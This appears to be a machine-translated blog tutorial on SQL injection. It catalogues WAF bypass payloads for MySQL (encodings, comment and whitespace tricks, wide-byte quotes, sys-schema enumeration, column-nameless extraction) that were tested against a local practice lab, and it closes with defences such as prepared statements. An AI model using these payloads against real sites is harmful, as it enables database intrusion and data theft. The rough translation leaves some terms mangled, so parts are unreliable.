SQLインジェクション上級実践(2) 一般的なバイパス手法と防御ソリューション

正直に言うと、おそらく個人的な理由から、SQL インジェクションは私の頭痛の種の大きな部分を占めています。私は、あらゆる種類のクエリ ステートメントを見つめてそれを詳しく説明するのは好きではありません。ただし、最初の2週間の学習後。こういった複雑な文章にも少しずつ慣れてきました。特に今日のバイパス技術を見て、WEBセキュリティの先輩方の奇跡的な姿勢をしみじみと感じました。本当に攻撃的で防御的です。多くのセキュリティ研究者やハッカーが蓄積し、ますます対立を深めている完全な対立の連鎖がわかります。

この文書は主に 2 つのセクションで構成されています。一般的なバイパスと防御ソリューション。

1. 一般的に使用される SQL インジェクションのバイパス方法

1.1 コメントバイパス

誰かが私たちの共通の注釈を制限しました。

1) -- 注記の内容
2) # 注記の内容
3) /* 注記の内容 */

バイパス方法: 一重引用符を作成して閉じます

#绕过前
?id=' union select 1,2,3 --+
#绕过后
?id=' union select 1,2,3 and '1'='1

1.2 ケースバイパス

これは、waf の正規表現が大文字と小文字を区別しない場合によく使用されます。

uniOn selEct 1,2

1.3 インラインコメントのバイパス

インライン コメントは、いくつかの特別なステートメントを MYSQL にのみ配置する/*!...*/ことで、これらのステートメントは他のデータベースでは実行されず、MYSQL で実行されます。/*... */注釈と混同しないでください。

境界検出をバイパスするための正規表現:

?id=' union /*!select*/ 1,2,3 --+

ここに画像の説明を挿入

1.4 二重書き込みキーワードのバイパス

一部の単純な WAF では、select から empty などのキーワードを置き換えるには replace() 関数のみを使用しますが、このときは double-write キーワードを使用してバイパスできます。

union seselectlect 1,2

1.5 特殊なエンコーディングのバイパス

#1.十六进制绕过
eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B

#2.ascii 编码绕过
eg:Test =CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)#3.Unicode 编码

常用的几个符号的一些 Unicode 编码:

单引号: % u0027、% u02b9、% u02bc、% u02c8、% u2032、% uff07、% c0%27、% c0% a7、% e0%80% a7

空格:% u0020、% uff00、% c0%20、% c0% a0、% e0%80% a0

左括号:% u0028、% uff08、% c0%28、% c0% a8、% e0%80% a8

右括号:% u0029、% uff09、% c0%29、% c0% a9、% e0%80% a9

1.6 スペースフィルターバイパス

スペースの代替案:

1) /**/
2) ()
3) キャリッジリターン (URL エンコードでは %0a)
4) `(タップキーの上のボタン)
5) タップ
6) 2 つのスペース

テスト:

#1./**/
http://127.0.0.1/sqllabs/Less-1/
?id=-1' union/**/select 1,2,3 --+

#2.() ---  注意括号中不能含有 *
http://127.0.0.1/sqllabs/Less-1/
?id=-1' union(select 1,2,3) --+

#3.%0a
http://127.0.0.1/sqllabs/Less-1/
?id=-1' union%0aselect 1,2,3 --+

#4.` --- 失败,无法使用,原因不明
http://127.0.0.1/sqllabs/Less-1/
?id=-1' union`select 1,2,3` --+

#5.双空格
http://127.0.0.1/sqllabs/Less-1/
?id=-1' union  select 1,2,3 --+

#6.tab --- 无法输入、暂时未解决

1.7 フィルタ or および xor (排他的論理和) はバイパスしない

and = &&

or = ||

xor = |

not = !

1.8 フィルター等号=バイパス

1.ワイルドカードを使用しないlike実行の効果は=の効果と一致しているため、バイパスに使用できます。

UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name like "users"

2. あいまい一致は、フィールドの値に検索対象の部分があれば選択されます = を置き換えて使用する場合、使用方法は上記と同じで、効果はrlike同じですlike。ワイルドカードがない場合=

UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name rlike "users"

3.regexp: MySQL は正規表現のマッチングに REGEXP 演算子を使用します。

UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name regexp "users"

4. 小なり記号を使用してバイパスします (汎用ではありません)

select * from users where id > 1 and id < 3

5. <> は != と同等なので、先頭に 1 つ追加します。結果は等号です

mysql> select * from users where !(id <> 1);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

1.9 符号より大きいフィルタ サイズをバイパスする

SQL ブラインド インジェクションでは、通常、大なり記号を使用して、ASCII コード値のサイズを判断し、ブラスティングの効果を実現します。もちろん、サイズが制限される場合もあります。

1)greatest (n1, n2, n3…): 返回 n 中的最大值

eg:select * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)=116

2)least (n1,n2,n3…): 返回 n 中的最小值,与上同理。

3)strcmp (str1,str2): 若所有的字符串均相同,则返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1

eg:select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117)

4)in 关键字

eg:select * from users where id = 1 and substr(username,1,1) in ('t')

5)between a and b: 范围在 a-b 之间,包括 a、b。

eg:select * from users where id between 1 and 2

select * from users where id between 1 and 1

1.10 フィルター引用符のバイパス

1)使用十六进制

eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B

2)宽字节,常用在 web 应用使用的字符集为 GBK 时,并且过滤了引号,就可以试试宽字节。%27 表示 '(单引号),单引号会被转义成 \'

eg:%E6' union select 1,2 #

%df%27 union select 1,2,3  #

1.11 フィルターのカンマバイパス

1) waf がコンマをフィルターで除外し、ブラインド インジェクションのみを行うことができる場合、部分文字列関数の 1 つで from pos for len を使用してコンマを置き換えることができます。ここで、pos は、pos 文字列から開始して長さ len の部分文字列を読み取ることを意味します。

eg:常规写法 select substr ("string",1,3)

#若过滤了逗号,可以使用 from pos for len 
#来取代 select substr ("string" from 1 for 3)
#sql 盲注中可以进行如下替换
 select ascii (substr (database () from 1 for 1)) > 110

2) join キーワードを使用してバイパスすることもできます。

eg:select * from users union select * from (select 1)a join (select 2)b join(select 3)c

上記の式は、union select 1,2,3 と同等です。

3) like キーワードを使用します。これは、部分文字列を抽出するための substr () などの関数内のカンマに適しています。

eg:select user() like "t%"

上式等价于 select ascii (substr (user (),1,1))=114

5) offset キーワードを使用します。これは、limit 内のカンマがフィルタリングされる場合に適しています。limit 2,1 は、limit 1 offset 2 と同等です。

eg:select * from users limit 1 offset 2

上式等价于 select * from users limit 2,1

1.12 フィルター機能のバイパス

#1.睡眠函数
sleep() --> benchmark()

ENCHMARK(count,expr)
BENCHMARK会重复计算expr表达式count次,通过这种方式就可以评估出mysql执行这个expr表达式的效率。这个函数的返回值始终是0,但可以根据客户端提示的执行时间来得到BENCHMARK总共执行的所消耗的时间

#2.ascll转码
ascii ()>hex ()、bin (),替代之后再使用对应的进制转 string 即可

#3.字符串连接函数
group_concat ()>  concat_ws (),第一个参数为分隔符 

eg:mysql> select concat_ws(",","str1","str2")

#4.字符串截取
substr (),substring (),mid () 可以相互取代, 取子串的函数还有 left (),right ()

#5.user() --> @@user、datadir–>@@datadir

#6.ord ()–>ascii (): 这两个函数在处理英文时效果一样,但是处理中文等时不一致。

1.13 通常のバイパス

前の正規表現部分の詳細な説明は次のとおりです:元のリンク

その主な内容は、通常の書き込みのいくつかの間違いを介して注入を完了することです。境界マッチングのバイパスとバックトラッキング制限のブレークスルーは、どちらも古典的な通常のバイパス方法です。

1.14 information_schema フィルタリングと列名の挿入

information_schemamysqlのシステムライブラリとして、データを出力する際に​​「悪用」されるライブラリです。もちろん、防御側も同じように考えています。注入されても、このライブラリへのアクセス許可や文字入力は禁止されます。データベースへの侵入は許可しますが、何も盗むことはしません。十分にうんざりする

実際、このような無効化方法も非常に劣っていますが、セキュリティに関係なく、ライブラリを使用してsys注入を完了することができます。

1.14.1 information_schemaを置き換えることができるライブラリ

Mysql 5.7バージョンで追加された基本sys.schema データは 2 つのライブラリから取得されperformance_schemainformation_scheデータ自体は保存されません。

ライブラリで利用可能なテーブルを見てみましょう。

#经过我们的一番搜索,找到下面几张表看似可以获取表名和库名的对应关系
#1.sys库内的一些表

mysql> desc  x$schema_table_statistics;
+-------------------+---------------------+------+-----+---------+-------+
| Field             | Type                | Null | Key | Default | Extra |
+-------------------+---------------------+------+-----+---------+-------+
| table_schema      | varchar(64)         | YES  |     | NULL    |       |
| table_name        | varchar(64)         | YES  |     | NULL    |       |
| total_latency     | bigint(20) unsigned | NO   |     | NULL    |       |
| rows_fetched      | bigint(20) unsigned | NO   |     | NULL    |       |
| fetch_latency     | bigint(20) unsigned | NO   |     | NULL    |       |
| rows_inserted     | bigint(20) unsigned | NO   |     | NULL    |       |
| insert_latency    | bigint(20) unsigned | NO   |     | NULL    |       |
| rows_updated      | bigint(20) unsigned | NO   |     | NULL    |       |
| update_latency    | bigint(20) unsigned | NO   |     | NULL    |       |
| rows_deleted      | bigint(20) unsigned | NO   |     | NULL    |       |
| delete_latency    | bigint(20) unsigned | NO   |     | NULL    |       |
| io_read_requests  | decimal(42,0)       | YES  |     | NULL    |       |
| io_read           | decimal(41,0)       | YES  |     | NULL    |       |
| io_read_latency   | decimal(42,0)       | YES  |     | NULL    |       |
| io_write_requests | decimal(42,0)       | YES  |     | NULL    |       |
| io_write          | decimal(41,0)       | YES  |     | NULL    |       |
| io_write_latency  | decimal(42,0)       | YES  |     | NULL    |       |
| io_misc_requests  | decimal(42,0)       | YES  |     | NULL    |       |
| io_misc_latency   | decimal(42,0)       | YES  |     | NULL    |       |
+-------------------+---------------------+------+-----+---------+-------+
19 rows in set (0.01 sec)

mysql> desc  x$schema_table_statistics_with_buffer;
+----------------------------+---------------------+------+-----+---------+-------+
| Field                      | Type                | Null | Key | Default | Extra |
+----------------------------+---------------------+------+-----+---------+-------+
| table_schema               | varchar(64)         | YES  |     | NULL    |       |
| table_name                 | varchar(64)         | YES  |     | NULL    |       |
| rows_fetched               | bigint(20) unsigned | NO   |     | NULL    |       |
| fetch_latency              | bigint(20) unsigned | NO   |     | NULL    |       |
| rows_inserted              | bigint(20) unsigned | NO   |     | NULL    |       |
| insert_latency             | bigint(20) unsigned | NO   |     | NULL    |       |
| rows_updated               | bigint(20) unsigned | NO   |     | NULL    |       |
| update_latency             | bigint(20) unsigned | NO   |     | NULL    |       |
| rows_deleted               | bigint(20) unsigned | NO   |     | NULL    |       |
| delete_latency             | bigint(20) unsigned | NO   |     | NULL    |       |
| io_read_requests           | decimal(42,0)       | YES  |     | NULL    |       |
| io_read                    | decimal(41,0)       | YES  |     | NULL    |       |
| io_read_latency            | decimal(42,0)       | YES  |     | NULL    |       |
| io_write_requests          | decimal(42,0)       | YES  |     | NULL    |       |
| io_write                   | decimal(41,0)       | YES  |     | NULL    |       |
| io_write_latency           | decimal(42,0)       | YES  |     | NULL    |       |
| io_misc_requests           | decimal(42,0)       | YES  |     | NULL    |       |
| io_misc_latency            | decimal(42,0)       | YES  |     | NULL    |       |
| innodb_buffer_allocated    | decimal(43,0)       | YES  |     | NULL    |       |
| innodb_buffer_data         | decimal(43,0)       | YES  |     | NULL    |       |
| innodb_buffer_free         | decimal(44,0)       | YES  |     | NULL    |       |
| innodb_buffer_pages        | bigint(21)          | YES  |     | 0       |       |
| innodb_buffer_pages_hashed | bigint(21)          | YES  |     | 0       |       |
| innodb_buffer_pages_old    | bigint(21)          | YES  |     | 0       |       |
| innodb_buffer_rows_cached  | decimal(44,0)       | YES  |     | 0       |       |
+----------------------------+---------------------+------+-----+---------+-------+
25 rows in set (0.01 sec)

#2.查阅资料发现mysql库里也有东西
mysql> desc  innodb_index_stats;
+------------------+---------------------+------+-----+-------------------+-----------------------------+
| Field            | Type                | Null | Key | Default           | Extra                       |
+------------------+---------------------+------+-----+-------------------+-----------------------------+
| database_name    | varchar(64)         | NO   | PRI | NULL              |                             |
| table_name       | varchar(199)        | NO   | PRI | NULL              |                             |
| index_name       | varchar(64)         | NO   | PRI | NULL              |                             |
| last_update      | timestamp           | NO   |     | CURRENT_TIMESTAMP | on update CURRENT_TIMESTAMP |
| stat_name        | varchar(64)         | NO   | PRI | NULL              |                             |
| stat_value       | bigint(20) unsigned | NO   |     | NULL              |                             |
| sample_size      | bigint(20) unsigned | YES  |     | NULL              |                             |
| stat_description | varchar(1024)       | NO   |     | NULL              |                             |
+------------------+---------------------+------+-----+-------------------+-----------------------------+
8 rows in set (0.00 sec)

mysql> desc innodb_table_stats;
+--------------------------+---------------------+------+-----+-------------------+-----------------------------+
| Field                    | Type                | Null | Key | Default           | Extra                       |
+--------------------------+---------------------+------+-----+-------------------+-----------------------------+
| database_name            | varchar(64)         | NO   | PRI | NULL              |                             |
| table_name               | varchar(199)        | NO   | PRI | NULL              |                             |
| last_update              | timestamp           | NO   |     | CURRENT_TIMESTAMP | on update CURRENT_TIMESTAMP |
| n_rows                   | bigint(20) unsigned | NO   |     | NULL              |                             |
| clustered_index_size     | bigint(20) unsigned | NO   |     | NULL              |                             |
| sum_of_other_index_sizes | bigint(20) unsigned | NO   |     | NULL              |                             |
+--------------------------+---------------------+------+-----+-------------------+-----------------------------+
6 rows in set (0.00 sec)

次のテーブルと同時に、tablename と schema のテーブルを見つけることができます。

sys.schema_auto_increment_columns
sys.schema_table_statistics_with_buffer
mysql.innodb_table_stats
mysql.innodb_table_index

爆発的なテーブル名のステートメント:

#1.利用 sys.schema_auto_increment_columns
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+

#2.利用 sys.schema_table_statistics_with_buffer
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+

ここに画像の説明を挿入

しかし致命的な問題があり、現状ではライブラリ名とカラム名の対応しかなく、テーブルとカラム名の対応が取れません。このバイパス方法を継続するには、列名なしでデータを注入する操作を実装する必要があります。

1.14.2 名前のないインジェクション

1. オプション 1 結合を使用したクエリ列名 - 何もないところから

まず操作を見てみましょう。

#获取第一列信息 --- 
?id=-1' union select * from (select * from users as a join users as b) as c --+

#获取第二列信息 --- username
?id=-1' union select * from (select * from users as a join users as b using(id)) as c --+

#获取第三列信息 --- password
?id=-1' union select * from (select * from users as a join users as b using(id,username)) as c --+

ここに画像の説明を挿入

先に進んで以下を入手してください:

ここに画像の説明を挿入

最後に以下を取得します:

ここに画像の説明を挿入

原理分析:

セカンダリ接続リンク クエリによって返された結果テーブルからデータをクエリする場合、重複する列が表示されるとエラーが報告され、mysql重複する列がどこにあるかを尋ねるプロンプトが表示されます。この利用スキームはこれを利用しており、接続クエリを使用して重複した列名テーブルを取得し、それをクエリするとエラーが発生します。

補助的な using 関数では、接続クエリ内の既知の重複列が結合されて、テーブル内のすべての列名のブラストが実現されます。最後に、すべての列名の情報を取得します。フォローアップ注射が行われます。

2. シナリオ 2 データの列全体をエクスポート - 強制的に取得

#使用联合查询查询出users内部的数据
select `3` from (select 1,2,3,4,5 union select * from users)as a;

#当反引号被禁用时,就可以使用起别名的方法来代替
select b from (select 1,2, 3 as b ,4,5 union select * from users)as a;

#在注入时同时查询多个列
select group_concat(b,c) from (select 1,2, 3 as b , 4 as c ,5 union select * from users)as a;

注: 現時点では、このスキームはデータベースでの実験でのみ成功しており、実際の攻撃環境 (sqllabs やその他の射撃場) では、さまざまな理由によりデータの出力に成功していません。出てきた人いたら教えてください。

2. SQL インジェクションに対する防御

2.1 準備されたステートメント

一般に、SQL インジェクションを防ぐ最善の方法は、プリペアド ステートメントを使用し、変数をバインドすることです。

プリコンパイルされた SQL ステートメントを使用しても、SQL ステートメントのセマンティクスは変わりません。SQL ステートメントでは、攻撃者が SQL の構造を変更できないことを示すために変数が使用されます。したがって、SQLインジェクションを発生させることはできません。

<?php

$pdo = new PDO("mysql:host=127.0.0.1;dbname=test;charset=utf8", "root","root123");

$st = $pdo->prepare("select * from users where id =?");

$id = $_GET['id'];
$st->bindParam(1, $id);
$st->execute();
$ret = $st->fetchAll();
print_r($ret);

2.2 ストアド プロシージャの使用

プリペアド ステートメントの使用に加えて、安全なストアド プロシージャを使用して SQL インジェクションに対抗することもできます。ストアド プロシージャを使用する効果は、プリコンパイル済みステートメントの効果と似ていますが、ストアド プロシージャでは最初にデータベースに SQL ステートメントを定義する必要があるという点が異なります。ただし、ストアド プロシージャにもインジェクションの問題が発生する可能性があることに注意してください。そのため、ストアド プロシージャでは動的 SQL ステートメントを使用しないようにする必要があります。それが避けられない場合は、厳密な入力フィルタリングまたはエンコード機能を使用してユーザー入力データを処理する必要があります。

2.3 データ型の確認

入力データのタイプをチェックすると、SQL インジェクションを大幅に制限できます。たとえば、book_id のクエリの場合、それを数値に制限し、他の種類のデータ型の挿入を許可しないようにできます。または、日付や年などの形式を厳密に制限するなど、ユーザーの入力情報を厳密にフィルタリングします。どちらも、悪意のあるインジェクションに対して防御できます。

もちろん、ユーザーがキャラクターを送信する必要がある場合は、セキュリティ関数または何らかの WAF を使用して SQL インジェクションに対する防御を実装する必要があります。

2.4 セキュリティ機能とWAF

セキュリティ機能と WAF の目的は、ユーザー入力を厳密にフィルタリングすることであり、通常、SQL インジェクションでは使用されるがビジネスでは決して使用されない一部の機密文字をフィルタリングして除外します。

セキュリティ機能はプログラミング言語そのもの、またはインポートしたサードパーティのセキュリティライブラリによって実装されているため、使用する際には公式ドキュメントを読むことに注意する必要があります。不適切な使用によって引き起こされる注入の問題を防ぎます。最も典型的なものは、緩いフィルタリングによって引き起こされる二次注入の問題です。

addlashes()
mysql_real_escape_string()

wafその使用は企業の現在の経済状況によって異なりますが、条件が許せば、実際にハードウェアを使用してwafWeb サイト全体のセキュリティ レベルを向上させることができます。もちろん、一部のサードパーティ ライブラリは開発中の防御に使用することもできます。

2.5 設計によるセキュリティ

データベース自体の観点から見ると、Web アプリケーションが root や dbowner などの高い特権のアカウントを直接使用してデータベースに直接接続することを防ぐために、最小特権の原則を使用する必要があります。同じデータベースを使用する複数の異なるアプリケーションがある場合は、各アプリケーションにも異なるアカウントを割り当てる必要があります。Web アプリケーションで使用されるデータベース アカウントには、機能をカスタマイズしたり、ローカル ファイルを操作したりする権限が付与されていてはなりません。

おすすめ

転載: blog.csdn.net/qq_55316925/article/details/129459387